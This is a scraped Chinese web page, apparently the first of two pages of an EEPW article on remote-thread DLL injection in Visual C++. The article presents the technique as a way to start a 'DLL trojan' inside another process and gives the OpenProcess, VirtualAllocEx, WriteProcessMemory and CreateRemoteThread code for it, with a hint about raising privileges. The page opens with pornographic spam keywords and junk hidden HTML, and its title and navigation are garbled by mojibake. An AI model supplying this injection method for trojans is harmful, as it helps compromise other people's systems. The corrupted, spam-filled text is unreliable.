在线看毛片网站电影-亚洲国产欧美日韩精品一区二区三区,国产欧美乱夫不卡无乱码,国产精品欧美久久久天天影视,精品一区二区三区视频在线观看,亚洲国产精品人成乱码天天看,日韩久久久一区,91精品国产91免费

<menu id="6qfwx"><li id="6qfwx"></li></menu>
    1. <menu id="6qfwx"><dl id="6qfwx"></dl></menu>

      <label id="6qfwx"><ol id="6qfwx"></ol></label><menu id="6qfwx"></menu><object id="6qfwx"><strike id="6qfwx"><noscript id="6qfwx"></noscript></strike></object>
        1. <center id="6qfwx"><dl id="6qfwx"></dl></center>

            新聞中心

            EEPW首頁 > EDA/PCB > 設(shè)計應(yīng)用 > 用Visual C++實現(xiàn)遠程線程嵌入技術(shù)

            用Visual C++實現(xiàn)遠程線程嵌入技術(shù)

            作者: 時間:2012-09-18 來源:網(wǎng)絡(luò) 收藏

            技術(shù)指的是通過在另一個進程中創(chuàng)建的方法進入那個進程的內(nèi)存地址空間。我們知道,在進程中,可以通過CreateThread函數(shù)創(chuàng)建,被創(chuàng)建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。 但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內(nèi)創(chuàng)建新線程,被創(chuàng)建的線程同樣可以共享遠程進程(是遠程進程耶!)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內(nèi)存地址空間,也就擁有了那個遠程進程相當?shù)臋?quán)限。例如在遠程進程內(nèi)部啟動一個DLL木馬(與進入進程內(nèi)部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個遠程進程的數(shù)據(jù))。

            本文引用地址:http://www.biyoush.com/article/189897.htm

            首先,我們通過OpenProcess 來打開我們試圖嵌入的進程(如果遠程進程不允許打開,那么嵌入就無法進行了,這往往是由于權(quán)限不足引起的,解決方法是通過種種途徑提升本地進程的權(quán)限)

            hRemoteProcESS = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠程創(chuàng)建線程

            PROCESS_VM_OPERATION | file://允許遠程VM操作

            PROCESS_VM_WRITE,//允許遠程VM寫

            FALSE, dwRemoteProcessId )

            由于我們后面需要寫入遠程進程的內(nèi)存地址空間并建立遠程線程,所以需要申請足夠的權(quán)限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。

            然后,我們可以建立LoadLibraryW函數(shù)這個線程來啟動我們的DLL木馬,LoadLibraryW函數(shù)是在kernel32.dll中定義的,用來加載DLL文件,它只有一個參數(shù),就是DLL文件的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠程進程內(nèi)調(diào)用的,所以我們首先還需要將這個文件名復制到遠程地址空間:(否則遠程線程是無法讀到這個參數(shù)的)

            file://計算DLL路徑名需要的內(nèi)存空間

            int cb = (1 + lSTrlenW(pszLibFileName)) * sizeof(WCHAR);

            file://使用VirtualAllocEx函數(shù)在遠程進程的內(nèi)存地址空間分配DLL文件名緩沖區(qū)

            pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,

            MEM_COMMIT, PAGE_READWRITE);

            file://使用WriteProcessMemory函數(shù)將DLL的路徑名復制到遠程進程的內(nèi)存空間

            iReturnCode = WriteProcessMemory(hRemoteProcess,

            pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

            file://計算LoadLibraryW的入口地址

            PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

            GetProcAddress(GetModuleHandle(TEXT(Kernel32)), LoadLibraryW);

            萬事俱備,我們通過建立遠程線程時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數(shù)pszLibFileRemote(實際上是我們復制過去的木馬DLL的全路徑文件名)在遠程進程內(nèi)啟動我們的木馬DLL:

            file://啟動遠程線程LoadLibraryW,通過遠程線程調(diào)用用戶的DLL文件

            hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,

            pfnStartAddr, pszLibFileRemote, 0, NULL);


            上一頁 1 2 下一頁

            關(guān)鍵詞: Visual 遠程 線程

            評論


            相關(guān)推薦

            技術(shù)專區(qū)

            關(guān)閉